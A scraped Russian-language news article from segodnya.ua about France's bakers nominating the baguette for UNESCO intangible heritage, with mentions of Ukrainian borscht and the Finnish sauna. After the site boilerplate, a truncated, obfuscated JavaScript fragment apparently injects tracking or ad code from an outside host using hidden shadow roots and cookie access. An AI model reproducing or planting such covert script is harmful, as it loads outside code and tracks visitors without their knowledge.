Не только борщ: во Франции хотят добиться внесения багета в список культурного наследия ЮНЕСКО

Они хотят защитить культуру его приготовления

Во Франции Федерация пекарей номинировала багет на включение в реестр нематериального культурного наследия ЮНЕСКО.

Об этом сообщает Reuters.

Пекари считают, что международное признание может защитить культуру приготовления багета. Ее передают поколения в поколение, а многие хотят его подделать.

"Первое, о чем мы просим ребенка, – это пойти купить багет в пекарне. Мы обязаны защищать эти привычки ради самих себя", – сказал президент Федерации пекарей Франции Рейтер Доминик Анракт.

Пекари опасаются, что традиционные багеты из пекарни вытеснят продукты, которые производятся на гигантских заводах и продают в супермаркетах.

В тренде
Вакцины против штамма COVID-19 из ЮАР оказались на 30% менее эффективными

Отметим, что ежедневно во Франции продают около 6 млн багетов. Но Анракт считает, что они находятся под угрозой. Поскольку с начала 1950-х годов в стране закрылись около 30 тысяч пекарен.

О том, включать ли багет в список культурного наследия ЮНЕСКО станет известно лишь в конце 2021 года.

Напомним, что в Украина хочет номинировать украинский борщ. 6 октября экспертный совет по вопросам нематериального культурного наследия при Министерстве культуры и информационной политики Украины рекомендовала министерству включить в Национальный перечень элементов нематериального культурного наследия Украины, в частности, "культуру приготовления украинского борща".

Ранее мы сообщали, что 17 декабря 2020 года приняли решение внести финскую сауну в список нематериального культурного наследия человечества ЮНЕСКО.

Подпишись на наш telegram

Только самое важное и интересное

Подписаться

Читайте Segodnya.ua в Google News

Следите за нами в соцсетях

Подписывайтесь на нашу рассылку

Введите корректный email

Ок

Новости партнеров

Загрузка…

Популярные статьи

Страны массово отказываются от вакцины AstraZeneca: что происходит?Евросоюз ДТП автобуса с украинцами в Польше: копы начали расследование (видео с места аварии)Евросоюз Скандал вокруг AstraZeneca: в Норвегии подтвердили связь между тромбозом и вакцинойЕвросоюз Его выдало тату: Украина помогла Германии раскрыть наемного убийцу из ФСБЕвросоюз AstraZeneca и тромбоз: ученые выяснили связь и как избежать смертейЕвросоюз ЕС объявил Путину ультиматум из-за войны в УкраинеЕвросоюз

Новости партнеров

Загрузка…

загрузка…

Наши соцсети

• Facebook

• Telegram

• Youtube

• Instagram

Связаться с нами

• Контакты редакции

• Написать нам

• на сайте

• Спецпроекты

• Архив сайта

Политика сайта

• Правила цитирования

• Правила комментирования

• Конфиденциальность и защита персональных данных

Стоковые фотографии от

© segodnya.ua, 2021

Лента новостей

Главное

Нажимая на кнопку «Принять» или продолжая пользоваться сайтом, вы соглашаетесь с

правилами использования

файлов cookie.

Принять

if(document.documentElement.clientWidth > 1199) {
(function(){(function(l,d,A){«use strict»;var t,o,e,i,z,r,n,S,T,a,c,f,s,p,h,u,b,D,k,v,g,x,m,E,y,M,C,O,L,N,w,_,H,I,R,q,P,$,j,F,J=300,W=»/z»,X=»0x04″,B=»http»,G=»substr»,K=»host»,Q=J,U=»argon_»+»debug»+»=1″,V=»prototype»,Y=»createElement»,Z=»appendChild»,tt=»setTimeout»,ot=»querySelectorAll»,et=»getOwnPropertyDescriptor»,rt=»Object»,nt=»charCodeAt»,it=»fromCharCode»,at=»zmctrack»+».net»,ct=»bind»,ft=»call»,lt=»script»,dt=»head»,st=»get»,pt=»set»,ht=»indexOf»,ut=»s.»+at,bt=»cookie»,kt=»XMLHttpRequest»,vt=»Date»,gt=»now»,xt=»responseText»,mt=»open»,yt=»ShadowRoot»,wt=»Node»,At=»send»,zt=»Array»,St=»addEventListener»,Tt=B+»://»+»click»+».»+at+»/c/»+»redirect»+»?»+»hash»+»=»,Dt=»slot»,Et=»Math»,Mt=»floor»,Ct=»random»,Ot=»console»,Lt=»Document»,Nt=»innerHTML»,_t=»attachShadow»,Ht=»offsetWidth»,It=»Element»,Rt=»next»,qt=»previous»,Pt=»push»,$t=»length»,jt=»shift»,Ft=»parentNode»,Jt=»textContent»,Wt=»JSON»,Xt=»parse»,Bt=»load»,Gt=»HTML»+It,Kt=»error»,Qt=»location»,Ut=»href»,Vt=»POST»,Yt=»document»,Zt=»un»+»eval»,to={},oo=»parseInt»,eo=It+»Sibling»,ro=»String»,no=»split»;to[«mode»]=»closed»,t=l[Yt],o=l[«chrome»],e=!0,i=0;try{e=!!l[Zt]}catch(t){}function io(t,o){return q[ft](t,o||»|»)}!o&&!e||(z=l[«n10091125»],r=z[Yt],n=z[rt][et],S=r[ot][ct](t),T=z[tt][ct](l),a=n(z[Lt][V],dt)[st][ft](t),c=r[Y][ct](t),f=r[dt][Z][ct](a),s=z[vt][gt],p=-1Q?i++

По материалам: Сегодня